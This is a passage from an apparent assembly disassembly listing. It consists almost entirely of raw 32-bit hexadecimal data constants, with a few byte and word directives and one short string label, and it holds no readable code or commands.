		dd 7EE65000h, 0F7567D30h, 3D6583Bh, 1419BBF6h, 78A79821h
		dd 0BF4300D5h, 53932686h, 8E00A21Ah, 28AC8967h,	3CE2D605h
		dd 7900C75Ch, 31B09AFh,	6B014261h, 5671D101h, 219658E2h
		dd 1EDEC30h, 3BF747CDh,	2FC26D1h, 0DBB8DFh, 50C4499Fh
		dd 463999F9h, 0B0447A00h, 37243D75h, 0C36178E3h, 45B13F49h
		dd 6A0E30EEh, 2781AA50h, 4B014002h, 227064DDh, 1A7C01F9h
		dd 910F94FCh, 8554E061h, 3A0BC007h, 36964C3Dh, 0FEF87C58h
		dd 0D74E0178h, 0DFAA67E5h, 0AB81FBC3h, 426AFC0Ah, 324D3048h
		dd 0C0FA304Fh, 63E8C2Ah, 0BEAF81E2h, 0E53A4EC7h, 0F43C7F6Dh
		dd 0CE8A0795h, 7CC6AA5Fh, 0F5A800A8h, 0FDA18F69h, 7AFE723Fh
		dd 8391FB3Bh, 0A23792E4h, 0D420004Dh, 76D0E01h,	2B005880h
		dd 8846270Bh, 0F73AD2DBh, 694CC0h, 6D7ACB1Ah, 2E58A3A2h
		dd 27880B00h, 427E903Ch, 0B2B7584Eh, 0DFFB2200h, 6613167Bh
		dd 702EEF00h, 10F8968Eh, 5880E723h, 25E7D2DCh, 4C016F16h
		dd 34523B76h, 1880A3A4h, 74EF7FD8h, 0FA00E287h,	61CC8F63h
		dd 60483C52h, 8880B04Eh, 1F1FE0E5h, 4F80E623h, 4A9BBCBFh
		dd 3AD63B40h, 0F47C200h, 4EB075ADh, 0D44D7906h,	0EF0A1A0h
		dd 0CB7BAA14h, 391A9AA1h, 6518808Dh, 274B5730h,	7E23705Fh
		dd 0C67B1D0Eh, 0A8370187h, 0E54EBA8Ch, 4DA84054h, 0D000C9Bh
		dd 7ECF1896h, 0B6F2FDh,	146AF62Dh, 0AE29C1D7h, 0DAA9C60h
		dd 90583Fh, 2F4F8561h, 0E6F22592h, 108AFB32h, 0E10497FAh
		dd 81E9FB64h, 0C3541710h, 90D72DF4h, 2A99EDh, 835D976Dh
		dd 0AD0564F0h, 99898F3Fh, 129DD41h, 2020D308h, 11094282h
		dd 8511EE54h, 43D218F2h, 88A1BD51h, 0B989D07Eh,	0D9732810h
		dd 0FAEB305h, 44C04FB5h, 0DDBF11h, 510A3148h, 1ABA0109h
		dd 4D25E80Fh, 0A8F5E019h, 9B4FD4h, 0DB9C872h, 2466B5B0h
		dd 4A745A00h, 0F8377D63h, 1F3760Fh, 8E68C9EDh, 0C4EF552Bh
		dd 0AF004D0Ch, 9B39EE53h, 0F2EBD3B5h, 25F80FF9h, 65C0E355h
		dd 0B91CAA11h, 170EF7E8h, 83242AFCh, 80913CC5h,	0CDE85Bh
		dd 621F1018h, 19EB075Eh, 43C94EAh, 31498563h, 0BC211429h
		dd 0E8FC52A2h, 36A73D2h, 963F9B67h, 0EA8B94EFh,	0B6E41101h
		dd 5CB7C798h, 0F82DC0C4h, 8231031Eh, 0B10FCD23h, 0ADECDCA0h
		dd 18F24800h, 66C3A3BDh, 63C91F7Dh, 0E28480D5h,	0AC075455h
		dd 115C39h, 29A4EA9Eh, 67D34199h, 50C0A84Ah, 42B3F5ADh
		dd 8A9B5E80h, 0ECB7C0DDh, 414418A0h, 9158F822h,	0EF6DF500h
		dd 0A84F907Ah, 278A00F1h, 70B65374h, 0D207C326h, 87C313Bh
		dd 0FAAA61C0h, 34E30035h, 4E87D7E4h, 0B811986Fh, 23007C79h
		dd 0A11497FBh, 0ED3E1B04h, 48B79D58h, 0BB0E280h, 56B605h
		dd 864997C0h, 623CD07Ah, 360D6700h, 91341FD8h, 0AEA20096h
		dd 0A3D384CCh, 0FA00597Dh, 6EA61B62h, 5B166h, 75E21587h
		dd 0AFCBF1C8h, 8B570600h, 9EB34C4Dh, 0E3B02862h, 3D5F7588h
		dd 41383EFEh, 45C590Eh,	269AC4A0h, 19005DDBh, 4B3DE196h
		dd 3E69B6h, 6F491DA2h, 0C9EA2F04h, 353BD900h, 0C93CEE5h
		dd 0F02FEA0h, 4874503Ch, 0B47529A0h, 1B28A5CAh,	8175B447h
		dd 0C99BE100h, 7D165D34h, 38C601FCh, 113993F4h,	0C3F0CB09h
		dd 0DD00726Dh, 2478E6D6h, 1577CFAh, 0E08EDAD3h,	0D7BC1845h
		dd 0F17DF891h, 70782065h, 6303877Bh, 12C6C4A6h,	0B050003Fh
		dd 5CCB78Dh, 2092A93Dh,	9632758h, 67900Fh, 8495BB20h, 5D3502EBh
		dd 79FB079Fh, 66B84C6Bh, 18001BEDh, 15E57348h, 0ABF2FEh
		dd 0FC5B9F7h, 2483A46Dh, 236CD03h, 0B71D2B84h, 0DC68D7D0h
		dd 0A622391Fh, 0F605200h, 6E72A855h, 0ABE2A11Dh, 632C4FC0h
		dd 16328D6Bh, 0AC236D70h, 0E2530F4Eh, 997D20D0h, 0BB7E25h
		dd 3C15446h, 26ACFE33h,	0CC007892h, 1F8BF55Ah, 24615565h
		dd 3640669h, 0A00E8349h, 24035788h, 809AE73Ch, 750BD57Ch
		dd 0AB1B28h, 4907986h, 0D2303F01h, 9B455200h, 483B7C94h
		dd 0E45A03CAh, 0CCCDBF8Dh, 806C0D90h, 871D0C00h, 0C4B9E6BEh
		dd 5837006Eh, 9F4FD2B8h, 0E2003DA6h, 8594E0C6h,	7CC999Ah
		dd 42EC650Bh, 87F7A0C8h, 53268313h, 0C22C26D5h,	700E1E07h
		dd 0C0A14FAEh, 32192281h, 16170077h, 7F02691Bh,	0E672C10Ch
		dd 9A0B0912h, 0EB40A01Fh, 562E8755h, 22D61803h,	38151899h
		dd 80BBD33Bh, 0A66D8872h, 38FEF1Ch, 0B8706749h,	94D0DB8Bh
		dd 8100549Bh, 0FBCB103Fh, 142F09C7h, 9BB250D8h,	41008B3Eh
		dd 18203271h, 0BE00F7CBh, 43EA48DEh, 0E54B0Ch, 0B5CCC269h
		dd 3D019C9h, 5EDF5601h,	0F34E7A2Ah, 3F8291DCh, 9800EFDDh
		dd 0CC242EC2h, 0D400B701h, 9E6C205Ch, 70907F0Fh, 16873A86h
		dd 3C7DF303h, 0C1FA32A9h, 0BEEE7C60h, 3C68F95Ch, 0A77801ECh
		dd 0C3DA57E4h, 0C727970h, 7F4A55Eh, 74009EA8h, 0B4E99C3Eh
		dd 1F64235Ch, 80FCF2DCh, 1E82EDB2h, 75007747h, 15E117CBh
		dd 1F3A9D23h, 7C41281h,	0DE3E07A1h, 0B9D101E0h,	0FF00A2DBh
		dd 27F6AE8Bh, 4D419Bh, 352684A6h, 16CF5387h, 7F8C7400h
		dd 1BC73D1Fh, 4B664C29h, 3EC08040h, 0EA000255h,	19B11E6h
		dd 0D00272Ch, 8712D373h, 0FC57145Dh, 6F5F1232h,	0CF36001Eh
		dd 29CE6B3Ch, 0E4EA3EFEh, 0F38A5400h, 13906E9Fh, 0CA1812C1h
		dd 510B0F16h, 0A6E4A580h, 5F16C238h, 0E800FEB4h, 726C0324h
		dd 69B000B3h, 59761EC9h, 2C92778Bh, 496DAF05h, 55C4B324h
		dd 0F20370C0h, 50D60E73h, 0C3257EECh, 58D4C09Ch, 6A062AF6h
		dd 941BB024h, 0D0B30138h, 0FD8AB533h, 0ED0DF0FFh, 0BA4F4100h
		dd 49C929CAh, 460005Dh,	0A733A150h, 9F00A2A5h, 4280220Eh
		dd 0D290DFh, 0EBA47D1Bh, 0B6277169h, 0F9F43D00h, 13C89422h
		dd 58CB00D3h, 0FCC975A5h, 0CA03208Ch, 520FBD53h, 809EAA68h
		dd 0DB472492h, 4CD000DFh, 0B255AAE8h, 6402D489h, 68C6EF45h
		dd 0D1006704h, 0A8220D6Ah, 0F894A901h, 50BF03D6h, 46D337B4h
		dd 0BCB27F00h, 0D094A531h, 3B20FFC8h, 91F400BAh, 0F1744790h
		dd 1800A2B1h, 48547C70h, 62FE76h, 285EA4C9h, 400A91F3h
		dd 95779700h, 2DCB0461h, 3DF818h, 31774D6h, 894145E6h
		dd 4F863B01h, 9DBBD26h,	0E94E80D7h, 2D2F0095h, 37292C77h
		dd 0DBB0E8C8h
		dd 0C11C9DFEh, 0CF002832h, 6D73B330h, 2DE421h, 0ED44567Ch
		dd 0E69BA60Dh, 0BFBC5003h, 984E5C9Ch, 9DEB31h, 97C360B9h
		dd 4906BB76h, 7B032800h, 6933A53Eh, 0ADCC0087h,	0C737D61h
		dd 0E602DE91h, 3CD7126Fh, 0F5CC802Bh, 6EDEABFh,	604EC3DCh
		dd 0E800B861h, 3892A7B1h, 3B442794h, 451E80E4h,	3756C0E3h
		dd 20888A79h, 0E7F2F00h, 8361783Dh, 39CB3431h, 71CC0292h
		dd 3D108D35h, 7EAF03EDh, 2FEC7B49h, 0FE78B9A8h,	84453B39h
		dd 0AA7A169Ah, 23C09980h, 0A39C0058h, 0F4B036DFh, 0ED00B6DEh
		dd 0AD5278FCh, 359677Eh, 0C7336F2Bh, 0C8002869h, 1F9F16E2h
		dd 12CCA2C4h, 5E47DA2Eh, 0D0BC8000h, 5B976461h,	38CDAB00h
		dd 8FBB039Ah, 0CC714CB0h, 57A21E00h, 0C50B1B7Fh, 0F3D16502h
		dd 500913CFh, 0E51E0024h, 2345CD2Fh, 0B400A221h, 0B62BE2BCh
		dd 943ED410h, 0F2580048h, 0D7943D7Ah, 6D3BCF00h, 0BC2AA085h
		dd 79C10703h, 0B0637E31h, 0BD026646h, 36384276h, 0E0D800B7h
		dd 0C9059E1Ah, 0C1CD0080h, 60CB4D43h, 0C004F670h, 0F07A8433h
		dd 0C4191883h, 37184B40h, 0BC2647C3h, 0B4001C15h, 0C8DF2B6Dh
		dd 0A4950E3Fh, 986F9D56h, 4D59B80h, 3C038028h, 49DB32B5h
		dd 835000F9h, 10C21AE3h, 0D300B4A7h, 0F181B3D1h, 4C9B29C8h
		dd 0ED3ED035h, 56E5EB03h, 0BCF83C92h, 7303A3B0h, 803D4B75h
		dd 0FC6D90F4h, 265A0EA1h, 6F6FAF0Ah, 59DDEDFh, 80838FD0h
		dd 2FDB4088h, 0AFB28200h, 5FECD9BFh, 3919004Bh,	0A6B3D317h
		dd 0EE021BCFh, 596F85A3h, 0ADE4C0EDh, 1C9F820h,	89C14BEBh
		dd 0D46B8B7Dh, 64004C4Ah, 0D0910BC7h, 586EB3Ch,	0F409D4EAh
		dd 399C003Fh, 0F8052B98h, 8E9B4B3Ch, 0EAC08h, 933BBF62h
		dd 28EB1Bh, 847A23EFh, 0B10C2E9Ah, 8180BF2Ch, 0A2B02761h
		dd 0E863D5EAh, 8FC2B500h, 703414CDh, 92E2491Dh,	46902500h
		dd 0E5BD9F0h, 0D1A26C19h, 8080E7C4h, 0E1EEBC60h, 52D52912h
		dd 0F5455800h, 5944EDFh, 6E4199A9h, 147BC0E9h, 6C00D046h
		dd 650732E8h, 4BB9150Ah, 971C5F72h, 0CCED0039h,	0CBA43181h
		dd 80DBE33Ah, 286EAA98h, 98F5F24Ch, 237700A0h, 0D9ACE04Eh
		dd 8090FF3Dh, 8900A0E8h, 1161EE34h, 0B37C95h, 0A84ED104h
		dd 6ECBEDDh, 8A2F1612h,	6B1C7400h, 454A321h, 0A0079FD4h
		dd 4870A058h, 5C7EC778h, 0FC95C018h, 4B1B70h, 35A4E484h
		dd 45C97D65h, 0B168D600h, 96CBBEB4h, 24A7037Fh,	0CE8BF7E3h
		dd 0A07C9000h, 11057BC3h, 3AB70034h, 40A1254Ah,	7830BF04h
		dd 62107116h, 0BDC900EDh, 0A7ADB480h, 0FB008109h, 59C62065h
		dd 0FF7A1A4h, 6813166Fh, 76DEA000h, 27E88BD6h, 8047BC3Bh
		dd 888F4ECh, 2ECAEBCCh,	40F4BDD5h, 0FE2E64D9h, 0E15C5700h
		dd 778922EDh, 0DCD20629h, 0E0E22651h, 7BA73F00h, 82A2BFEh
		dd 917A55h, 7273D774h, 3A1AF07Ch, 0ACB23B03h, 0F093F2DEh
		dd 5F2DF7h, 503818Ch, 1CDDB8FFh, 320C3500h, 0F1C794A3h
		dd 8EFA01B2h, 0A475E248h, 6B1BFC58h, 47042A77h,	4C9B7CF3h
		dd 0AB018083h, 0B4A1F061h, 859700DDh, 74434683h, 9303B90Ch
		dd 414990F1h, 0A85DABEDh, 0CDFA61h, 53D6FF70h, 0C562095Ah
		dd 0E209900h, 0E1FC073Ch, 0DDF0817Bh, 2EA6FC3Bh, 4FBC2C02h
		dd 48D9ABE7h, 73ACE184h, 0D302487h, 9D342424h, 0DF37896Dh
		dd 0BE54FA81h, 71126039h, 9AE81200h, 603A52A2h,	36CF0077h
		dd 0B044A962h, 1C99197Ah, 6D8C2E89h, 8AD742B0h,	1E50701Ah
		dd 12F13090h, 49A8C036h, 0DC0C97FCh, 280309E8h,	0F777C7h
		dd 0F92E2114h, 45D4532Ah, 782C5502h, 600840A2h,	0BF9618h
		dd 0C30DF9DEh, 7E1FAA8Dh, 5F310A00h, 25BDA476h,	0ABEA18h
		dd 79C0FF98h, 0C7F936C8h, 670648h, 338312DCh, 38D408Eh
		dd 5638DFF4h, 82DB150Ch, 9536BF8h, 0F3902000h, 52B4B0A6h
		dd 0EC3B1CB6h, 0FC0AC0B1h, 26D614D7h, 53E0130Fh, 0E3AF20F1h
		dd 9EC0F22h, 60FFF584h,	9CAA9802h, 0E66D3C60h
		db 0, 8Fh, 0CFh
		db 0E9h
aTq		db '´;¸Tï',0
		dw 5F6Ah
		dd 16A838DDh, 0EB3B55E2h, 7AAF006Ch, 17F0C21h, 3F850048h
		dd 8C829110h, 130734DFh, 0C35F4546h, 0D48F66B0h, 53EC0041h
		dd 0C9422773h, 7F00020Fh, 54B73E87h, 90701C5Dh,	269600A5h
		dd 0DD18E85Fh, 0E31EB610h, 0F64017FCh, 985AADE1h, 0B1E4EFh
		dd 3F93B463h, 4183736Eh, 0CEB5B300h, 0A410605Fh, 0E5F80094h
		dd 2E8413E7h, 8F00F3A3h, 436E7EB7h, 9F8370h, 61C450Fh
		dd 0F25AFC11h, 0EA23A200h, 42058703h, 5DDB00EBh, 0B44FDF4Bh
		dd 0C100D0C9h, 0F80E47CAh, 81ACB8h, 643868CDh, 798A027Bh
		dd 2446860Ch, 22FC2920h, 70B0EAB9h, 0E4E8D700h,	658BB31Dh
		dd 8D64005Ah, 38EE1A3Ah, 0D8A03C8Eh, 8C1F3005h,	2C40DD40h
		dd 7EDFAF1Eh, 86E239h, 7A65A4FDh, 40E21275h, 6D4CF402h
		dd 0ACC87B74h, 0F2D510E4h, 18B00DFh, 810B5EF6h,	4400160Eh
		dd 15EB63D6h, 0B1E985h,	36F3C96h, 0A5184392h, 0C99F2B04h
		dd 1C906B48h, 74C8370Dh, 65640C75h, 13A19206h, 38E85C01h
		dd 2F71908Ah, 41780880h, 95E2AF1Fh, 0D935D00h, 82BCC467h
		dd 468B0110h, 0B01DB629h, 200840AAh, 2860CEAEh,	0A4C9A988h
		dd 0C83F0213h, 7A8C59C4h, 0E417C07Dh, 6F273E19h, 0FF130077h
		dd 90ABDCE9h, 0B6182F7Dh, 0E1C9E830h, 0EC08C3C5h, 98049238h
		dd 0D4D310CFh, 4C9B00EFh, 4F7FB107h, 0A95E2A1Eh, 3F908EF9h
		dd 0FCB600A1h, 3C89755Ch, 0BA92A54Dh, 30FABF0h,	7CE3A755h
		dd 0ADDEF410h, 3E0EC09h, 0A3F368EFh, 5DC88E5Ah,	4801738Bh
		dd 5F3D9A41h, 0C0CF33E0h, 0E029AE43h, 31980060h, 5185B891h
		dd 8801D969h, 0EEEB018Ch, 9BCC5F07h, 671501ABh,	99CFE057h
		dd 57D2087h, 6E969201h,	2F64B994h, 0E2D85BD1h, 649001Eh
		dd 517F8986h, 9D15CD67h, 84E354h, 3B0BC982h, 60E148ABh
		dd 0F7301C80h, 14077D0Ah, 4787F8BBh, 3CB038A3h,	6307C530h
		dd 0FE26FCDCh, 58A0420Fh, 1C777293h, 8232805h, 0EFBA381h
		dd 2005586h, 306E527Bh,	73D2F813h, 0B230D418h, 0FE67596h
		dd 0DB88EC5Eh, 0E9AAC463h, 0C25015B0h, 0A59C8700h, 332D016Ah
		dd 167A004Ah, 0D636066Eh, 97054C20h, 0CB613B77h, 0C400E45Fh
		dd 0B9C5ADA8h, 474E8B1h, 0CE15A6D0h, 6F449084h,	6201F3FFh
		dd 7E312B11h, 0C97025EAh, 174900DDh, 7D2871A5h,	0B700EFC5h
		dd 0BCBD36F1h, 4AA5CE6h, 97C483BFh, 0A8488BEh, 6D193F03h
		dd 3FA8CE22h, 0F700B861h, 0C82AC0CAh, 2800A215h, 63D0D576h
		dd 38BEF365h, 970AD326h, 94A83445h, 416087E3h, 3BAC1930h
		dd 10742D30h, 3E40596h,	0B09163B7h, 82FB3CD2h, 6EEC3900h
		dd 57A41786h, 34580008h, 0AA02870Ch, 0B10978D1h, 7F277B82h
		dd 627EB580h, 46788139h, 434DDA00h, 181190E1h, 0CDAD0014h
		dd 172701A5h, 7C035186h, 358CA7F6h, 0E21129E0h,	60DDF004h
		dd 43107860h, 656154h, 3EC822CAh, 635203BEh, 0D40C7FECh
		dd 200BB259h, 6EBC00EBh, 1E9609A1h, 4000279Dh, 92F54894h
		dd 2DA587h, 0EC2F7B42h,	55CEAA2Bh, 8106B400h, 886A19Bh
		dd 0CB5A00EAh, 5E5DAF0Bh, 6D0046F1h, 0E2F2A4Ch,	6E7462h
		dd 0B5DA9807h, 107B228Eh, 3000EDFAh, 25963F79h,	313C0Dh
		dd 0DD92E063h, 0DC0B626Ch, 0B0002FF0h, 0CC7B9DD7h, 18D909Fh
		dd 7751273Ch, 47501262h, 7B000FF5h, 5D7656Eh, 0BE4D983Dh
		dd 97EF80C3h, 0FA1A543Ah, 0B2FC3Eh, 8F4FE65Ch, 9F8B65E0h
		dd 37C8BC00h, 1B6E9ADBh, 0A38D07E4h, 90B37064h,	9D0C395Dh
		dd 3928C13Ah, 254B9C29h, 0FCF3C880h, 1DC7707h, 0FE6D2CE3h
		dd 0F0C62A8Bh, 1107E145h, 0C582B958h, 0B7C05FF0h, 2B78C9h
		dd 930860Fh, 5D15BB87h,	0A48B6B00h, 803C37A0h, 60E2ECA7h
		dd 0DA0A6038h, 0CF00D928h, 157164A5h, 8421CB7h,	17571A1Bh
		dd 87C06E1Ch, 29880C2Bh, 799A0060h, 0B1B3CC9Eh,	150030B4h
		dd 9697D20Eh, 32E09Ch, 766D2623h, 898B6A2Ah, 485C3B00h
		dd 27CAA29Bh, 0C045000Ch, 0F5476420h, 0DE0F78D6h, 80605925h
		dd 0B513CD4Dh, 50B91E68h, 848C001Ch, 4831F942h,	467C6F13h
		dd 3D57A200h, 876C49h, 9F4FCD5Bh, 512A6304h, 5939D03h
		dd 9081D18Ah, 4C55B3A2h, 0C0060E4h, 0A76ABB48h,	1B794DF2h
		dd 40143001h, 0C08DB0C4h, 7113DE0h, 94B3C172h, 0E4F270F5h
		dd 8000872Fh, 299E774Ah, 2A1A6AE8h, 8CB864h, 0D2C867Bh
		dd 0DB593A83h, 0F322F0Dh, 0ACC8A0DEh, 0FD761C38h, 2A1CC0A6h
		dd 0BFEAD672h, 23E30A00h, 558F88B0h, 0BA1600D7h, 0B90DD12Dh
		dd 4F18F7A1h, 18606E21h, 0B27A4C1Dh, 0F066AA03h, 0D180B779h
		dd 2C009952h, 8EEB9709h, 0FA6DC329h, 0B77009Fh,	49A27FF9h
		dd 300832Dh, 32AC89A6h,	0F756F2h, 391BFFE6h, 0B5A10A34h
		dd 57D74B0Fh, 6838A0FEh, 4B0C848h, 0A72C6944h, 863884AFh
		dd 5858888Fh, 2B3309E0h, 5E282006h, 0E8CA2A8h, 83E51C89h
		dd 0C08493E5h, 0BB1DF0CAh, 0D649F207h, 0D8407059h, 509DABA6h
		dd 35C4A1h, 0EA4C8B30h,	93D2D1C8h, 62FD4Ch, 0C9532999h
		dd 0CC537E3h, 6128F69Bh, 0A50FDE82h, 8065728Eh,	0B18266ADh
		dd 1D7D5Fh, 0FD115657h,	5358D22Dh, 0B960D000h, 0B2B3EDBCh
		dd 92A20090h, 4FD627C6h, 3B001482h, 0AF35F306h,	0D75F8Fh
		dd 0A5EBE0A9h, 85CFAB2h, 0C9C63Ch, 7C374569h, 0AEF798h
		dd 70979233h, 0A96D6096h, 89428B05h, 8C0569B7h,	84AB4FEAh
		dd 8507C3AEh, 7608A800h, 0E1100EBDh, 65230049h,	0A6F511E6h
		dd 823CF7B5h, 975883CDh, 0D8E328A1h, 487DC4h, 62D432DCh
		dd 8BB9A7ABh, 13F7AA00h, 58870F34h, 0FC2C001Eh,	0BE47295Dh
		dd 5F77BFA2h, 0FB016A90h, 32A67267h, 0C040E23Fh, 60D7F4h
		dd 24587DEh, 17621BF9h,	0B9B03160h, 99BBDDh, 6997A388h
		dd 0A068F79Fh, 52B5151Eh, 0A077288Eh, 82922E4Ah, 6B490058h
		dd 90215E71h, 0FF481E2Dh, 0FD0B0000h, 0C1A850F9h, 939C00BAh
		dd 0A9B6FAFBh, 0D915A3F6h, 10902AC3h, 509D42F3h, 7C90263Bh
		dd 12357884h, 0B500BF50h, 6BED1CABh, 5F00F7B7h,	5DD17246h
		dd 0B0071369h, 186C05BDh, 3BDD3Dh, 0EB26A4ECh, 23032D9Dh
		dd 3ABDFB52h, 59B80048h, 81BAE34Eh, 0C10CD9FEh,	584C6CDCh
		dd 0F4190040h, 1A09A56Fh, 730452A7h, 152E5C68h,	0D180DAC0h
		dd 8E16003Bh, 0E884EECEh, 0F30022C3h, 0FBE9611h, 0B270517h
		dd 0C49F9304h, 6D6AEA00h, 65019499h, 0ED48268Eh, 0D4CCD3C3h
		dd 310C00D0h, 375BF2C6h, 0FF0F46FEh, 4001D1F5h,	388DCEF0h
		dd 2228000Eh, 0FC3E9311h, 871EB144h, 9C8017C4h,	18464A78h
		dd 45C1006Ch, 0CEF9A6D2h, 0FF240FD7h, 0D1827C63h, 0E34270B6h
		dd 814C875h, 66D800EFh,	4CE4B288h, 8E3D95B0h, 0E73F75C1h
		dd 4ADC804Fh, 2185E526h, 8A3900F6h, 0ECAC6BBEh,	7616A4B9h
		dd 0AA492423h, 40443017h, 87F43EE5h, 250324C9h,	0DF7BCA85h
		dd 0E275FF0h, 0C2E75B04h, 54802D80h, 0FCC6609h,	7D16FC59h
		dd 0ED46ACE0h, 0F8011939h, 2157F08Bh, 0F4C88026h, 3097019Fh
		dd 0A337CE3Fh, 0A96E0014h, 40B84D98h, 0B168B400h, 0ACC2E801h
		dd 0F5302016h, 7D548003h, 3ED3C1F4h, 0DD3C28BCh, 2D7E5100h
		dd 86D5AEC2h, 0C5A89700h, 3C7F631Eh, 11BB0F76h,	85A07D61h
		dd 6C133D8Dh, 0AEB3EC03h, 0C171EBh, 6473E130h, 0B1775461h
		dd 7CB02B28h, 8CF4410Fh, 0AC131D3Ch, 4966D440h,	0C059C0B1h
		dd 8FA81710h, 0AF007538h, 0AC4DEF95h, 5F4DC92h,	970C544Bh
		dd 3A6C0FEAh, 102114C2h
		dd 0CE05906h, 6C782BAEh, 0C0006171h, 826EBF25h,	0B169ECh
		dd 609FCFFFh, 9B9EF0Dh,	0E0520700h, 3473D26Fh, 66238D3h
		dd 0A09EDE00h, 2E893970h, 0A781091Dh, 7E56840h,	3B838D59h
		dd 3D809030h, 2805B32Fh, 0EC0C55FAh, 0D97DE0DCh, 68ED43E6h
		dd 8A5F0490h, 80A42361h, 0D556E160h, 8E00A312h,	0F4580F55h
		dd 0AA2D92Bh, 249461D3h, 0F5600384h, 2848D474h,	3328672Fh
		dd 7D24CB80h, 2DED0125h, 26D13A1Bh, 0C0F2C97Fh,	0D707721Ah
		dd 4875E778h, 3B9F0AF0h, 209C019h, 113E9E0Bh, 1C5D0802h
		dd 0F716EA0Dh, 404937E0h, 0D87BDE05h, 0BC855E2Dh, 99F16883h
		dd 27209E42h, 0A35000F2h, 80472E0Ch, 0ED003743h, 9EFD285h
		dd 6A6B06h, 75998CC8h, 542D0507h, 0C7F01F4Bh, 0B772B5h
		dd 0DB6425A8h, 40A3C59h, 0A0E2C513h, 617BF400h,	2C2CF83h
		dd 0CDAEA53Ah, 9C806FB5h, 0F131B426h, 0C0A6D00h, 3A407432h
		dd 2598A09Eh, 5E717A3h,	271C0073h, 12C68315h, 0E553B703h
		dd 482134h, 1DA03328h, 0A74AD823h, 9F1F6E00h, 7E43760Ah
		dd 0FCAE0E05h, 0C7EEFB22h, 33E3D3C0h, 980B0370h, 807158D1h
		dd 0E9BFF51Fh, 27B70717h, 300EF830h, 0EE29186Bh, 7568FB0Fh
		dd 5C6380A6h, 1EE984B7h, 1EF6A92h, 9DDD0CF0h, 8DFC40ADh
		dd 0AB079E10h, 4DB8726Fh, 0B1A47A80h, 0D1433A69h, 0A2134089h
		dd 0F6E1DE83h, 0DDC6ABB0h, 4CD33800h, 0C2B05EFAh, 79602FE4h
		dd 2E112240h, 84B6223Dh, 6EE65F76h, 41FAD0C8h, 56168047h
		dd 0A2B8D26h, 84BF0055h, 0D2CAC8C9h, 0C40E6E9Ah, 0A043B5A2h
		dd 532E370Fh, 0A90300D8h, 3E996B71h, 860FA405h,	0C98881F5h
		dd 0C7A300D5h, 7E527Fh,	37DBB126h, 84A55B09h, 7C98C001h
		dd 0AA459425h, 0FB6F0A8h, 5A370671h, 0D20008EFh, 4B31AD57h
		dd 984CB900h, 41EF9A7Ah, 0E2E0739h, 2A5E63h, 1132765Bh
		dd 0B0684Ch, 37486108h,	6196A088h, 9A3EF01Dh, 0BA48602Eh
		dd 0D628000h, 4CB54851h, 0AC530015h, 9EFA3BC5h,	35007237h
		dd 391E2C31h, 0E24F20h,	71C3B8EBh, 0FC12AF82h, 9193CE13h
		dd 0A540831Ch, 0CABFED1Bh, 30630060h, 0C09F5FB6h, 3170D420h
		dd 0E2006D90h, 0BDF338BFh, 9444EDh, 523F88C3h, 242B7E7h
		dd 44199E2Eh, 5A04F1Ch,	5CD44BB6h, 2C1C803Dh, 0B40782FFh
		dd 67859542h, 2724A550h, 0EA90010Ch, 7BAC7DE8h,	1AD0D8E3h
		dd 45977900h, 0E6729E41h, 0F0953B26h, 3A0EA8C8h, 8FA166C6h
		dd 70621C1Eh, 6700E20Eh, 0F0850110h, 13B2C636h,	542FF666h
		dd 8A000440h, 0EA9AA6E9h, 0C500FA5Ch, 5DBF1592h, 3ECE699Dh
		dd 1701B8A7h, 4FBC2125h, 0BBA8F7A6h, 0FEF88DC2h, 513BF712h
		dd 8EC1D81Ch, 4AA016Bh,	6E5F9300h, 260F80h, 0C536513Dh
		dd 0BD123244h, 6ACB282Eh, 80A74900h, 9FDF7E4h, 8B6B50E1h
		dd 0F6A0178Fh, 0CBCC9F8Eh, 9200D094h, 8669018h,	2893BC0h
		dd 6A27EB00h, 0C64231F1h, 1AF20300h, 11FFD12h, 4BD8027Fh
		dd 0B53D8875h, 0C39FE60h, 473A0978h, 5900F75Eh,	36256F5Ch
		dd 4116B9h, 0F0DC863h, 0A547CF33h, 4B6C581Eh, 0C213C187h
		dd 3861D660h, 0C59E003Fh, 1C69C69Ch, 0A800AB59h, 75652EDEh
		dd 61FB7h, 782505FCh, 3281EAA9h, 0AAC58800h, 0D53EFE9h
		dd 0A5BB0767h, 818E9838h, 205BA1FAh, 548398Ch, 6F430FF4h
		dd 7F137ED4h, 6C3DC800h, 0E3C980Dh, 94530607h, 0B75FFA20h
		dd 7C2EDE6Bh, 0A5006297h, 19D196Ch, 0A38C028Dh,	20725431h
		dd 0BB9A8C40h, 28004BF6h, 0FEA55396h, 0E641391Bh, 4D2C000Ch
		dd 716B4EF9h, 600A418h,	0AB8D8194h, 92A65Ch, 0E291AA9h
		dd 3AF2E52Bh, 4634CD00h, 0CE45268Fh, 0EC0490BDh, 8C7A3Eh
		dd 50E71B57h, 3C1FA1E3h, 0A2DB9D04h, 0E8C0AE76h, 299651h
		dd 19BEBF9h, 0D33BE44h,	783DA901h, 0B23E3757h, 0FBD847F5h
		dd 0DE7979h, 34BB62EEh,	911EDDC2h, 0AA63E0Ah, 89879869h
		dd 15007E0Ch, 0FC6BC5h,	90DF9194h, 0BCA5F1ECh, 0E94BED00h
		dd 0E78A21BFh, 0C57BA4h, 799D4DEAh, 96D0901Ch, 13901B7Bh
		dd 2694F800h, 0EEB0DB76h, 7170ABh, 0E72F5384h, 0C646BF79h
		dd 0FF161EE0h, 5C008D67h, 6DE537EFh, 1C79F8h, 0B86CB0A1h
		dd 775E0F2Ah, 8FB2F300h, 6F05ADA3h, 0EAEF7C06h,	283600A1h
		dd 2A7EF4E5h, 5102DFF3h, 1787347Ah, 43FC40D7h, 0E260000Fh
		dd 25271884h, 5C074F7Eh, 50215BDh, 103380B9h, 0EBC92Ch
		dd 0F6D2ABFBh, 0C54F2F04h, 0D00E892h, 9C447985h, 7244867h
		dd 0EB01A715h, 90CE87B5h, 60D632DFh, 0CDB37401h, 3D31D94Ah
		dd 863770h, 563BEAADh, 0A1E9751Ah, 250CB800h, 0B51EE865h
		dd 88C0F9Eh, 0D66160CCh, 71031869h, 439BE3DCh, 39E81120h
		dd 1050F06Eh, 74823887h, 54AEEF04h, 0D093857Bh,	0BCBA450Ch
		dd 0AD3C8D12h, 0C5607C90h, 2845E9F9h, 6BD15400h, 4AE48CA4h
		dd 0E283AE2h, 0DFF3B353h, 0EBF231Eh, 23E33115h,	1649E93h
		dd 11ADBA90h, 6059F0FBh, 0A005C68h, 21A32BF7h, 9C8395h
		dd 74AD9EF1h, 0A5C78270h, 0D59BA600h, 3C522599h, 0AB7D0095h
		dd 96627548h, 0E3003A72h, 0CBBDB5E1h, 0DB4B86h,	0D780EE12h
